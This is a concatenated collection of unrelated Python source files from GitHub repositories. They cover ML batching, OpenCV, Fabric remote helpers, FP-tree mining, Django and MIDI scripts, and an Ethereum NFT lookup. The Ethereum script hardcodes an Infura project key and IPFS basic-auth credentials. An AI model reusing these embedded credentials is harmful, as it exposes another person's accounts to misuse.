self._models[model_idx].run_encoder(sess, batch)\n\n def decode_onestep(self,\n sess,\n batch,\n latest_tokens,\n enc_states,\n dec_init_states,\n prev_coverage,\n model_idx=0):\n return self._models[model_idx].decode_onestep(sess, batch,\n latest_tokens, enc_states, dec_init_states, prev_coverage)\n\n\nclass MultitaskBatcher(object):\n \"\"\"Decorator for Batcher for multiple models\"\"\"\n def __init__(self, data_paths, vocabs, hps, single_pass):\n if not len(data_paths) == len(vocabs):\n raise ValueError(\"data_paths and vocabs size mismatch\")\n \n batchers = []\n for data_path, vocab in zip(data_paths, vocabs):\n batcher = Batcher(data_path, vocab, hps, single_pass)\n batchers.append(batcher)\n\n self._vocabs = vocabs\n self._batchers = batchers\n self._data_paths = data_paths\n\n def next_batch(self, batcher_idx=0):\n return self._batchers[batcher_idx].next_batch()\n\n def __len__(self):\n return len(self._batchers)\n\n\n# ================================================\n# some utility functions\n# ================================================\ndef _task_selector_for_three(mixing_ratio_1, mixing_ratio_2, step):\n if mixing_ratio_1 <= 0.01:\n raise ValueError(\"mr_1 too small\")\n\n if mixing_ratio_2 <= 0.01:\n raise ValueError(\"mr_2 too small\")\n\n left_over = step % MIXING_RATIOS_BASE\n task_one_boundary = (MIXING_RATIOS_BASE -\n int(MIXING_RATIOS_BASE * (mixing_ratio_1 + mixing_ratio_2)))\n\n task_two_boundary = (MIXING_RATIOS_BASE -\n int(MIXING_RATIOS_BASE * mixing_ratio_2))\n\n if 0 <= left_over < task_one_boundary:\n return 0\n elif task_one_boundary <= left_over < task_two_boundary:\n return 1\n else:\n return 2\n\n\ndef _assert_mixing_ratio_compatability(mixing_ratio):\n if not isinstance(mixing_ratio, (int, float)):\n raise TypeError(\"%s should be int or float, found \"\n % mixing_ratio, type(mixing_ratio))\n result = mixing_ratio * MIXING_RATIOS_BASE\n if not int(result) == result:\n raise ValueError(\"%s x %s = %s are not integers\" %\n (mixing_ratio, MIXING_RATIOS_BASE, result))\n\n if result <= 0.01:\n raise ValueError(\"MixingRatio too small\")\n\n return int(result)\n","repo_name":"HanGuo97/MultitaskSimplification","sub_path":"multitask/multitask_base_model.py","file_name":"multitask_base_model.py","file_ext":"py","file_size_in_byte":14036,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"11"} +{"seq_id":"40099975404","text":"# coding=utf-8\r\nimport cv2\r\nimport numpy as np\r\n\r\nimage = cv2.imread(\"D:/test/2.jpg\", 0)\r\nlut = np.zeros(256, dtype=image.dtype) # 创建空的查找表\r\nhist = cv2.calcHist([image], # 计算图像的直方图\r\n [0], # 使用的通道\r\n None, # 没有使用mask\r\n [256], # it is a 1D histogram\r\n [0.0, 255.0])\r\n\r\nminBinNo, maxBinNo = 0, 255\r\n\r\n# 计算从左起第一个不为0的直方图柱的位置\r\nfor binNo, binValue in enumerate(hist):\r\n if binValue != 0:\r\n minBinNo = binNo\r\n break\r\n# 计算从右起第一个不为0的直方图柱的位置\r\nfor binNo, binValue in enumerate(reversed(hist)):\r\n if binValue != 0:\r\n maxBinNo = 255 - binNo\r\n break\r\n\r\nprint(minBinNo, maxBinNo)\r\n\r\n# 生成查找表\r\nfor i, v in enumerate(lut):\r\n print\r\n i\r\n if i < minBinNo:\r\n lut[i] = 0\r\n elif i > maxBinNo:\r\n lut[i] = 255\r\n else:\r\n lut[i] = int(255.0 * (i - minBinNo) / (maxBinNo - minBinNo) + 0.5)\r\n\r\n# 计算\r\nresult = cv2.LUT(image, lut)\r\ncv2.imshow(\"Orign\", image)\r\ncv2.imshow(\"Result\", result)\r\ncv2.imwrite(\"LutImage.jpg\", result)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"yeyujujishou19/Python-OpenCV","sub_path":"6,直方图均衡化/6-1,查找表拉伸直方图.py","file_name":"6-1,查找表拉伸直方图.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"16833234576","text":"# -*- coding: iso-latin-1 -*-\n\"\"\"\nfabric api wrapper linked to fabric v0.9.1\n\"\"\"\n\n# If you're using python 2.5\nfrom __future__ import with_statement\n\n__docformat__ = 'restructuredtext en'\n__author__ = \"Denis 'jawa' Pompilio\"\n__credits__ = \"Denis 'jawa' Pompilio\"\n__license__ = \"GPLv3\"\n__maintainer__ = \"Denis 'jawa' Pompilio\"\n__email__ = \"denis.pompilio@gmail.com\"\n__status__ = \"Development\"\n\nimport fabric.api\nfrom fabric.context_managers import settings, hide\nfrom fabric.contrib.files import exists, append, contains, sed, upload_template\nimport re\n\ndef quietfab():\n \"\"\" make fabric quiet \"\"\"\n fabric.state.output.status = False\n fabric.state.output.running = False\n fabric.state.output.stderr = True\n fabric.state.output.warnings = False\n fabric.state.output.debug = False\n fabric.state.output.aborts = True\n fabric.state.output.stdout = False\n return True\n\ndef remote_exec(cmd, use_sudo, user=None, shell=True, nocheck=False):\n \"\"\" wrapper to fabric run and sudo \"\"\"\n if use_sudo:\n out = fabric.api.sudo(cmd, user=user, pty=True, shell=shell)\n else:\n out = fabric.api.run(cmd, pty=True, shell=True)\n\n if out.return_code != 0 and not nocheck:\n raise RuntimeError(\"exec failed: %s\\n%s\" % (cmd, out))\n\n out.raw = out.__str__()\n out.lines = out.splitlines()\n\n return out\n\ndef sudo(ipaddr, cmd, user=None, shell=True, nocheck=False):\n \"\"\" run remote command as sudo \"\"\"\n with settings(host_string=ipaddr):\n return remote_exec(cmd, use_sudo=True,\n user=user, shell=shell, nocheck=nocheck)\n\ndef run(ipaddr, cmd, shell=True, nocheck=False):\n \"\"\" run remote command \"\"\"\n with settings(host_string=ipaddr):\n return remote_exec(cmd, shell=shell, use_sudo = False,\n nocheck=nocheck)\n\ndef local(cmd, nocheck=True):\n \"\"\" run local command \"\"\"\n with hide('running', 'stdout', 'warnings', 'stderr'):\n out = fabric.api.local(cmd)\n if out.return_code != 0 and not nocheck:\n raise RuntimeError(\"localExecFail\", \"%s\" % (out))\n\n out.raw = out.__str__()\n out.lines = out.splitlines()\n\n return out\n\ndef file_exists(ipaddr, filename):\n \"\"\" check if file exists \"\"\"\n with settings(host_string = ipaddr):\n return exists(filename)\n\ndef file_contains(ipaddr, pattern, filename):\n \"\"\" check if file contains pattern \"\"\"\n with settings(host_string = ipaddr):\n return contains(pattern, filename)\n\ndef get_file_content(ipaddr, filename, use_sudo = False):\n \"\"\" retrieve file content \"\"\"\n with settings(host_string = ipaddr):\n if not file_exists(ipaddr, filename):\n return None\n\n cmd = \"cat %s\" % (filename)\n out = remote_exec(cmd, use_sudo = use_sudo)\n out.lines_clean = []\n for line in out.lines:\n clean_line = re.sub(r\"#.*\", r\"\", line).strip()\n if len(clean_line):\n out.lines_clean.extend([clean_line])\n\n return out\n\ndef list_files(ipaddr, file_pattern,\n full = True, use_sudo = False):\n \"\"\" list matching file and display fullpath or just filename \"\"\"\n\n cmd = \"ls -l %s\" % (file_pattern)\n with settings(host_string = ipaddr):\n out = remote_exec(cmd, use_sudo = use_sudo, nocheck = True)\n\n files = []\n if out.return_code == 0:\n if full:\n files = out.lines\n else:\n for line in out.lines:\n files.append(line.split(\"/\")[-1])\n\n return files\n\ndef file_append(ipaddr, filename, content,\n use_sudo = False, partial = True):\n \"\"\" append content to a file \"\"\"\n if not file_exists(ipaddr, filename):\n return False\n\n with settings(host_string = ipaddr):\n return append(content, filename,\n use_sudo = use_sudo, partial = partial)\n\ndef write_file(ipaddr, filename, file_content, mode = \"w\", use_sudo = False):\n \"\"\" write content to a file \"\"\"\n if type(file_content) is not type([]):\n file_content = [file_content]\n\n if mode == \"w\":\n cmd = \"sed 's/^X//' > '%s' <<'EOF'\\nX%s\\nEOF\" % (\n filename, \"\\nX\".join(file_content))\n else:\n cmd = \"sed 's/^X//' >> '%s' <<'EOF'\\nX%s\\nEOF\" % (\n filename, \"\\nX\".join(file_content))\n\n with settings(host_string = ipaddr):\n return remote_exec(\"%s\" % (cmd), use_sudo = use_sudo)\n\ndef copy_file(ipaddr, file_src, file_dst, use_sudo = False):\n \"\"\" copy a file \"\"\"\n if not file_exists(ipaddr, file_src):\n return False\n\n cmd = \"cp %s %s\" % (file_src, file_dst)\n with settings(host_string = ipaddr):\n return remote_exec(\"%s\" % (cmd), use_sudo = use_sudo)\n\ndef move_file(ipaddr, file_src, file_dst, use_sudo = False):\n \"\"\" copy a file \"\"\"\n if not file_exists(ipaddr, file_src):\n return False\n\n cmd = \"mv %s %s\" % (file_src, file_dst)\n with settings(host_string = ipaddr):\n return remote_exec(\"%s\" % (cmd), use_sudo = use_sudo)\n\ndef sed_file(ipaddr, filename, pat_src, pat_dst, use_sudo = True):\n \"\"\" sed the content of file \"\"\"\n if not file_exists(ipaddr, filename):\n return False\n\n with settings(host_string = ipaddr):\n return sed(filename, pat_src, pat_dst, use_sudo = use_sudo)\n\ndef remove_file(ipaddr, filename, recursive = False, use_sudo = False):\n \"\"\" remove a file \"\"\"\n if recursive is True:\n opts = \"-r\"\n else:\n opts = \"\"\n\n cmd = \"rm %s %s\" % (opts, filename)\n with settings(host_string = ipaddr):\n return remote_exec(\"%s\" % (cmd), use_sudo=use_sudo)\n\ndef make_dir(ipaddr, directory, use_sudo = False):\n \"\"\" create directory using mkdir -p \"\"\"\n cmd = \"mkdir -p %s\" % (directory)\n with settings(host_string = ipaddr):\n return remote_exec(\"%s\" % (cmd), use_sudo = use_sudo)\n\ndef upload_tmpl(ipaddr, template, filename, context, use_sudo = False):\n \"\"\" upload a template \"\"\"\n cmd = \"rm %s\" % (filename)\n with settings(host_string = ipaddr):\n return upload_template(template, filename, context,\n use_sudo = use_sudo)\n","repo_name":"outini/sandcrawler","sub_path":"libraries/fabric_wrp.py","file_name":"fabric_wrp.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"32022365391","text":"from web3 import Web3\nfrom web3.contract import Contract\nfrom web3.providers.rpc import HTTPProvider\nimport requests\nimport json\nimport time\n\nbayc_address = \"0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D\"\ncontract_address = Web3.toChecksumAddress(bayc_address)\n\n# You will need the ABI to connect to the contract\n# The file 'abi.json' has the ABI for the bored ape contract\n# In general, you can get contract ABIs from etherscan\n# https://api.etherscan.io/api?module=contract&action=getabi&address=0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D\nwith open('/home/codio/workspace/abi.json', 'r') as f:\n# with open('./abi.json', 'r') as f:\n abi = json.load(f)\n\n############################\n# Connect to an Ethereum node\napi_url = 'https://mainnet.infura.io/v3/d4e747fdb9574612a0a08497b519e9e8'\nprovider = HTTPProvider(api_url)\nweb3 = Web3(provider)\n\n\ndef get_ape_info(apeID):\n assert isinstance(apeID, int), f\"{apeID} is not an int\"\n assert 1 <= apeID, f\"{apeID} must be at least 1\"\n assert apeID <= 10000, f\"{apeID} must be less than or equal to 10,000\"\n\n data = {'owner': \"\", 'image': \"\", 'eyes': \"\"}\n\n # YOUR CODE HERE\n contract = web3.eth.contract(address=contract_address, abi=abi)\n\n # get owner\n owner = contract.functions.ownerOf(apeID).call()\n\n tokenURI = contract.functions.tokenURI(apeID).call()\n parsed_tokenURI = tokenURI[7:len(tokenURI)]\n first = 'https://ipfs.infura.io:5001/api/v0/cat?arg='\n second = parsed_tokenURI\n sum = first + second\n \n response = requests.post(sum, auth=('2F8IN6a9C6EGOdvXhJId3AtjNIt', '7cbae92f5fce16d7da2cd221e75c0480'))\n response_data = json.loads(response.text)\n\n for item in response_data['attributes']:\n if (item['trait_type']) == 'Eyes':\n data['eyes'] = item['value']\n\n data['owner'] = owner\n data['image'] = response_data['image']\n\n assert isinstance(data, dict), f'get_ape_info{apeID} should return a dict'\n assert all([a in data.keys() for a in\n ['owner', 'image', 'eyes']]), f\"return value should include the keys 'owner','image' and 'eyes'\"\n return data\n\nget_ape_info(15)\n","repo_name":"Jannabanana1/pythonProject5","sub_path":"get_ape_info.py","file_name":"get_ape_info.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17893560039","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.5 (default, Aug 12 2020, 00:00:00) \n# [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)]\n# Embedded file name: C:\\ProgramData\\Ableton\\Live 9.7 Suite\\Resources\\MIDI Remote Scripts\\_NKFW2\\ClyphXSnapBaseComponent.py\n# Compiled at: 2018-01-15 18:16:49\nfrom _Framework.ControlSurfaceComponent import ControlSurfaceComponent\nfrom _Framework.SubjectSlot import subject_slot_group\nfrom ShowMessageMixin import ShowMessageMixin\nfrom ControlUtils import is_button_pressed\n\nclass TracksToSnap(object):\n \"\"\" Flag for the track(s) to include in snaps. \"\"\"\n ALL = 0\n CURRENT = 1\n\n\nclass ClyphXSnapBaseComponent(ControlSurfaceComponent, ShowMessageMixin):\n \"\"\" Base component that allows a matrix or group of buttons to trigger\n ClyphX/Clyphx Pro Snaps. \"\"\"\n __subject_events__ = ('snap_data', )\n\n def __init__(self, num_buttons=8, snap_args='', recall_args='recall', header='', tracks_to_snap=TracksToSnap.ALL, targets_comp=None, name='ClyphX_Snap_Control', *a, **k):\n super(ClyphXSnapBaseComponent, self).__init__(name=name, *a, **k)\n self._header = header.lower()\n self._num_snaps = num_buttons\n self._snap_component = None\n self._snap_data = self.get_initial_snap_data(num_buttons)\n self._snap_args = snap_args\n self._recall_args = recall_args\n self._tracks_to_snap = tracks_to_snap\n self._targets_comp = targets_comp\n self._snap_buttons = None\n self._delete_button = None\n return\n\n def disconnect(self):\n super(ClyphXSnapBaseComponent, self).disconnect()\n self._header = None\n self._snap_component = None\n self._snap_data = None\n self._targets_comp = None\n self._snap_buttons = None\n self._delete_button = None\n return\n\n def set_clyphx_instance(self, instance):\n \"\"\" Sets the ClyphX instance to use (or None). \"\"\"\n raise NotImplementedError\n\n def set_snap_buttons(self, buttons):\n \"\"\" Sets the buttons to use for storing/recalling snaps. \"\"\"\n self._snap_buttons = list(buttons) if buttons else []\n self._on_button_value.replace_subjects(self._snap_buttons)\n self._update_snap_buttons()\n\n def set_delete_button(self, button):\n \"\"\" Sets the modifier button to use for deleting stored snaps. \"\"\"\n self._delete_button = button\n\n def get_initial_snap_data(self, num_buttons):\n \"\"\" Returns the array of snap data to use for the given num_buttons. \"\"\"\n raise NotImplementedError\n\n def rebuild(self, data):\n \"\"\" Rebuilds snap data based on the given data list. \"\"\"\n pass\n\n def delete_snap(self, snap, btn_id):\n \"\"\" Handles deleting the given snap. \"\"\"\n raise NotImplementedError\n\n def store_or_recall_snap(self, snap, btn_id):\n \"\"\" Handles storing or recalling a snap. \"\"\"\n raise NotImplementedError\n\n def button_has_snap(self, btn_id):\n \"\"\" Returns whether the given button index has an associated snap. \"\"\"\n raise NotImplementedError\n\n @subject_slot_group('value')\n def _on_button_value(self, value, button):\n if value and self._snap_component:\n btn_id = self._snap_buttons.index(button)\n snap = self._snap_data[btn_id]\n if is_button_pressed(self._delete_button):\n self.delete_snap(snap, btn_id)\n return\n self.store_or_recall_snap(snap, btn_id)\n\n def update(self):\n super(ClyphXSnapBaseComponent, self).update()\n self._update_snap_buttons()\n\n def _update_snap_buttons(self):\n if self.is_enabled() and self._snap_buttons:\n for i, b in enumerate(self._snap_buttons):\n if b:\n if self.button_has_snap(i):\n b.set_light('Global.HasSnap')\n else:\n b.set_light('DefaultButton.Off')\n# okay decompiling /home/deniz/data/projects/midiremote/Live 10.1.18/_NKFW2/ClyphXSnapBaseComponent.pyc\n","repo_name":"notelba/midi-remote-scripts","sub_path":"Live 10.1.18/_NKFW2/ClyphXSnapBaseComponent.py","file_name":"ClyphXSnapBaseComponent.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16259976922","text":"import logging\n\nimport requests\n\nfrom krk.config import HEADERS\n\nl = logging.getLogger(__name__)\n\n\ndef get(url, params=None, headers=HEADERS):\n \"\"\"\n Issue a GET request and return the response\n\n :return: JSON parsed from the response\n \"\"\"\n l.info(\"Getting %s\", url)\n r = requests.get(url, params=params, headers=headers)\n if r.status_code == 200:\n try:\n l.debug(\"Trying to get JSON from url %s, returning\", url)\n return r.json()\n except:\n l.debug(\"Not JSON from url %s, returning\", url)\n # Do not let requests to handle text encoding.\n return r.content\n else:\n l.error(\"Request error. Status code %d from url %s\", r.status_code, url)\n raise Exception(\"Request error\", \"Status code: {}\".format(r.status_code))\n","repo_name":"zuik/kiroku","sub_path":"krk/requester.py","file_name":"requester.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13025103887","text":"from django.urls import path\nfrom . import views\n\napp_name = 'mi_app'\n\nurlpatterns = [\n path('',views.inicio, name='inicio'),\n path('miapp/', views.imagenes, name='imagenes'),\n path('miapp/segundo/', views.segundo, name='segundo'),\n]\n","repo_name":"JonaOlave/FSP153-1","sub_path":"Tarea_ind_2/mi_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12398855654","text":"class TreeNode:\n def __init__(self, item, count, parent):\n self.item = item\n self.count = count\n self.parent = parent\n self.children = {}\n self.next = None\n\n\ndef get_new_trans(node):\n new_trans = {}\n # get the parent paths of node, and return as new transactions\n while node:\n cur_node = node\n path = []\n while cur_node.parent:\n path.append(cur_node.item)\n cur_node = cur_node.parent\n # the support of the new_trans is decided by the count of node\n if len(path) > 1:\n new_trans[frozenset(path[1:])] = node.count\n\n node = node.next\n return new_trans\n\n\ndef create_head_table(item_set):\n head_table = {}\n for trans in item_set:\n count = item_set[trans]\n\n # calculate the counts of each item\n for j in range(count):\n for item in trans:\n if not head_table.get(item):\n head_table[item] = 0\n head_table[item] += 1\n\n for key in set(head_table.keys()):\n # remove items according to min_support\n if head_table[key] < min_support:\n head_table.pop(key)\n\n for key in head_table:\n # store the counts and the head node in the head table\n # the first head node is None before inited\n head_table[key] = [head_table[key], None]\n return head_table\n\n\ndef mine_frequent_itemsets(head_table, freq_itemset, root_set, pre_fix):\n for item in head_table.keys():\n cur_prefix = pre_fix.copy()\n cur_prefix.add(item)\n freq_itemset.append((cur_prefix, head_table[item][0]))\n # get the new transactions\n new_trans = get_new_trans(head_table[item][1])\n new_root, new_head = build_tree(new_trans)\n root_set.append(new_root)\n # mine on the sub trees\n if new_head:\n mine_frequent_itemsets(new_head, freq_itemset, root_set, cur_prefix)\n\n\ndef build_tree(data):\n root = TreeNode(None, 1, None)\n head_table = create_head_table(data)\n for trans, count in data.items():\n freq_items = {}\n for item in trans:\n # if item is in head_table, it's support is larger than min_sup\n if item in head_table:\n # store the counts of the items for sorting\n freq_items[item] = head_table[item][0]\n # this transaction contains frequent item\n if len(freq_items):\n sorted_items = sorted(freq_items, key=freq_items.get, reverse=True)\n # add this transaction to the tree\n insert_to_tree(sorted_items, head_table, root, count)\n return root, head_table\n\n\ndef insert_to_tree(item_list, head_table, root, count):\n # the node is a child of root, so add the count directly\n if item_list[0] in root.children:\n root.children[item_list[0]].count += count\n # not a child of root, so add it to the children\n else:\n root.children[item_list[0]] = TreeNode(item_list[0], count, root)\n if not head_table[item_list[0]][1]:\n # it is the first node in the corresponding pos of head table\n head_table[item_list[0]][1] = root.children[item_list[0]]\n else:\n # link this node in the head table\n node = head_table[item_list[0]][1]\n while node.next:\n node = node.next\n node.next = root.children[item_list[0]]\n # add the rest nodes recursively\n if len(item_list) > 1:\n insert_to_tree(item_list[1:], head_table, root.children[item_list[0]], count)\n return head_table\n\n\ndef load_topic(topic):\n data_set = []\n with open('./data/topic-{}.txt'.format(topic), 'r', encoding='utf-8') as f:\n for line in f.readlines():\n data_set.append([x for x in line.split()])\n item_set = {}\n for row in data_set:\n row = frozenset(i for i in row)\n item_set[row] = item_set.get(row, 0) + 1\n return item_set\n\n\ndef load_vocab():\n key_map = {}\n with open('./data/vocab.txt', 'r', encoding='utf-8') as f:\n for line in f.readlines():\n key, value = line.split()\n key_map[key] = value\n return key_map\n\n\ndef save_result(topic, freq_itemset):\n itemset_list = []\n for item in freq_itemset:\n name_set = []\n item_set, count = item\n for i in item_set:\n name_set.append(vocab[i])\n itemset_list.append((count, name_set))\n itemset_list.sort(key=lambda x: x[0], reverse=True)\n\n with open('./data/pattern-{}.txt'.format(topic), 'w', encoding='utf-8') as f:\n for item in itemset_list:\n count, itemset = item\n item_str = \" \".join(itemset)\n f.writelines(str(count) + \"\\t\" + item_str)\n f.write('\\n')\n f.close()\n\n\ndef get_tree_hierarchy(node):\n hierarchy = []\n if node:\n item_name = 'Null Set' if not node.item else vocab[node.item]\n hierarchy.append(item_name + ' ' + str(node.count))\n if node.children:\n for child in node.children:\n hierarchy.append(get_tree_hierarchy(node.children[child]))\n return hierarchy\n\n\nmin_support = 400\n\nfor i in range(5):\n print(\"processing topic-{} start\".format(i))\n\n trans = load_topic(i)\n\n root, head_table = build_tree(trans)\n\n frequent_itemset = []\n roots = []\n mine_frequent_itemsets(head_table, frequent_itemset, roots, set())\n\n vocab = load_vocab()\n save_result(i, frequent_itemset)\n\n for root in roots:\n hierarchy = get_tree_hierarchy(root)\n\n if len(hierarchy) > 2:\n print(hierarchy)\n print(\"processing topic-{} end\".format(i))","repo_name":"Vonderland/hkust_projs","sub_path":"5002/assignment/assignment1/fp_tree.py","file_name":"fp_tree.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22297415526","text":"# _________________________________________________________\n# Recursion basics recap\n# _________________________________________________________\ndef fact(n):\n\n # base case\n if n == 0:\n return 1\n\n else:\n return n * fact(n-1)\n# _________________________________________________________\n# Example problems: Sum to N (e.g. 4 3 2 1 0)\n# _________________________________________________________\ndef rec_sum(n):\n\n # base case\n if n == 0:\n return 0\n\n else:\n return n + rec_sum(n-1)\n# _________________________________________________________\n# Example problems: Add individual digits of an int\n# _________________________________________________________\ndef sum_func(n):\n\n str_num = str(n)\n #TODO: Remember this is how to split into chars\n split = list(str_num)\n total = 0\n\n # base case\n if n == 0:\n return 0\n\n for num in split:\n total += int(num)\n\n return total\n\n# or recursively!\ndef sum_func2(n):\n\n if len(str(n)) == 1: \n return n\n\n else:\n return n%10 + sum_func2(n//10) \n# _________________________________________________________\n# Determine if its possible to split the string to make individual words in list\n# _________________________________________________________\ndef word_split(phrase, list_of_words, output = None):\n\n if output is None:\n output = []\n\n for word in list_of_words:\n \n if phrase.startswith(word):\n\n output.append(word)\n\n #recursively call the split function on the remaining of the phrase\n return word_split(phrase[len(word):], list_of_words, output)\n \n return output\n# _________________________________________________________\n# Reverse a string\n# _________________________________________________________\ndef reverse(s):\n\n final = []\n\n if len(s) == 1:\n return s\n\n else:\n for char in s:\n final.insert(0, char)\n #todo: turn list into string\n return \"\".join(final)\n\n#recursively...\ndef reverse2(s):\n\n # base case: how to know you are done, not edge case\n # e.g. 'abc' ------> 'c' + rev('ab') \n # one element left in string\n\n if len(s) <= 1:\n return s\n\n # recursion\n\n return reverse(s[1:]) + s[0]\n# _________________________________________________________\n# Return all permutations of s\n# _________________________________________________________\n# def permute(s):\n# output = []\n \n# if len(s) <= 1:\n# output=[s]\n# else:\n# for i, let in enumerate(s):\n# for perm in permute(s[:i]+s[i+1:]):\n# output+=[let+perm]\n# return output\n\n# recursively...\ndef permute(s):\n output = []\n \n if len(s) <= 1:\n output=[s]\n else:\n for i, let in enumerate(s):\n for perm in permute(s[:i]+s[i+1:]):\n output+=[let+perm]\n print(\"perm is:\", perm, \"i is:\", i, \"out is:\", output)\n return output\n# _________________________________________________________\n# Fibonnaci multiple ways, return nth fib number\n# _________________________________________________________\n# todo: Recursively\ndef fib_rec(n):\n\n # base case\n if n <= 1:\n return n\n\n # recursive case\n else:\n return fib_rec(n-1) + fib_rec(n-2)\n\n# todo: Dynamically\n# instantiate cache information (memoization)\n\n# cache\nn = 10 # need to edit\ncache = [None] * (n + 1)\n\ndef fib_dyn(n):\n\n # base case\n if n == 0 or n == 1:\n return n\n\n #check cache\n if cache[n] != None:\n\n return cache[n]\n\n # keep setting cache\n cache[n] = fib_dyn(n-1) + fib_dyn(n-2)\n \n return cache[n]\n\n# todo: Iteratively\n# todo: consider tuple unpacking\ndef fib_iter(n):\n\n a, b = 0, 1\n\n for i in range(n):\n\n a, b = b, a + b # a very pythonic solution\n # print(a)\n \n return a\n# _________________________________________________________\n# Coin change problem (classic and memo)\n# _________________________________________________________\n# Goal: fewest num of coins used\ndef rec_coin(target, coins):\n \n # default value set to target\n min_coins = target\n\n # base case\n if target in coins:\n return 1\n\n else:\n\n # for every coin value that is <= target\n # list comprehension\n for i in [c for c in coins if c <= target]:\n \n # add a coin count + recursive call\n num_coins = 1 + rec_coin(target-i, coins)\n\n if num_coins < min_coins:\n\n min_coins = num_coins\n\n return min_coins \n # inefficient but it'll work!\n\n# todo: dynamic, much faster but more space\ndef rec_coin_dynam(target, coins, known_results):\n\n # default output to target\n min_coins = target\n\n #base case\n if target in coins: \n known_results[target] = 1\n return 1\n\n # return a known result if it happens to be greater than 1\n elif known_results[target] > 0:\n return known_results[target]\n\n else:\n\n # for every coin value is <= target\n\n for i in [c for c in coins if c <= target]:\n\n num_coins = 1 + rec_coin_dynam(target-i, coins, known_results)\n\n if num_coins < min_coins:\n\n min_coins = num_coins\n\n # reset known results\n known_results[target] = min_coins\n\n return min_coins","repo_name":"debiday/python-practice","sub_path":"recursion.py","file_name":"recursion.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30853953045","text":"from django.contrib.auth.models import User\nfrom django.core.management.base import BaseCommand\nimport csv \nfrom CMS_app.models import Department,UserProfile\n\nclass Command(BaseCommand):\n help = 'Create random users'\n \n \n def handle(self, *args, **options):\n \n with open('C:/Users/HP/CollegeManagementSystem/CMS_Project/CMS_app/management/commands/user_info.csv') as csvfile:\n reader = csv.DictReader(csvfile) \n \n for row in reader:\n existing_user = User.objects.filter(username = row['username'])\n if not existing_user :\n user = User(first_name = row['first_name'], last_name = row['last_name'], username = row['username'], email = row['email'] ) \n user.save() \n department,created = Department.objects.get_or_create(name = row['department']) \n t = UserProfile.objects.get(user = user)\n t.contact = row['contact']\n t.role = row['role']\n t.department =department\n t.save() \n\n\n\n\n\n\n\n\n \n","repo_name":"Nehababar22/CollegeManagementProject","sub_path":"CMS_app/Management/commands/create_user.py","file_name":"create_user.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21277994295","text":"#-*-coding:utf-8-*-\n#@author:lijinxi\nimport math\nlines=[]\nwith open('conpoints.txt','r') as f:\n for line in f:\n lines.append(list(eval(line)))\nprint(lines)\nlen1=len(lines)\nfor i in range(0, len1):\n x1, x2, y1, y2, a1 = lines[i]\n h_lines=[]\n v_i=0\n h_i=0\n for j in range(i+1,len1):\n if abs(a1)>60:\n v_i+=1\n x3,y3,x4,y4,a2=lines[j]\n if abs(abs(a1)-abs(a2))<20:\n if max(y1,y2)60:\n if max(x1,x2)= 1827:\n df.at[index, 'treatment'] = 1\n else:\n df.at[index, 'treatment'] = 0\n\nprint(df.head())\nprint(df.tail())\nprint(df)\n\n# Save the data without the index\ndf.to_pickle('aggregated_industry_data.pkl')\ndf.to_csv('aggregated_industry_data.csv', index=False)\n\n\n\n","repo_name":"BenNorsk/Bitcoin-and-Ether-as-Tax-Payment-Methods","sub_path":"Code/Data Pipeline/Adding Macroeconomic Variables/merge_data_for_synthetic_analysis.py","file_name":"merge_data_for_synthetic_analysis.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16729930503","text":"from Acquisition import aq_inner\nfrom Acquisition import aq_parent\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.CMFCore import permissions\nfrom bika.health.permissions import ViewPatients, EditPatient, ViewAnalysisRequests, ViewSamples, ViewBatches\nfrom bika.health.permissions import AddInsuranceCompany, ViewInsuranceCompanies\nfrom bika.lims import logger\n\ndef upgrade(tool):\n \"\"\" Health-191: Giving patient view permissions to referrer institutions contacts\n Create InsuranceCompany content type.\n \"\"\"\n portal = aq_parent(aq_inner(tool))\n typestool = getToolByName(portal, 'portal_types')\n\n # Re-run conf files where changes have been made.\n setup = portal.portal_setup\n setup.runImportStepFromProfile('profile-bika.health:default', 'typeinfo')\n setup.runImportStepFromProfile('profile-bika.health:default', 'controlpanel')\n setup.runImportStepFromProfile('profile-bika.health:default', 'factorytool')\n setup.runImportStepFromProfile('profile-bika.health:default', 'propertiestool')\n setup.runImportStepFromProfile('profile-bika.health:default', 'jsregistry')\n setup.runImportStepFromProfile('profile-bika.health:default', 'cssregistry')\n setup.runImportStepFromProfile('profile-bika.health:default', 'workflow')\n setup.runImportStepFromProfile('profile-bika.health:default', 'workflow-csv')\n\n workflow = getToolByName(portal, 'portal_workflow')\n workflow.updateRoleMappings()\n\n # Adding insurance companies in bika_setup\n at = getToolByName(portal, 'archetype_tool')\n at.setCatalogsByType('InsuranceCompany', ['bika_setup_catalog'])\n # If the type is not created yet, we should create it\n if not portal['bika_setup'].get('bika_insurancecompanies'):\n 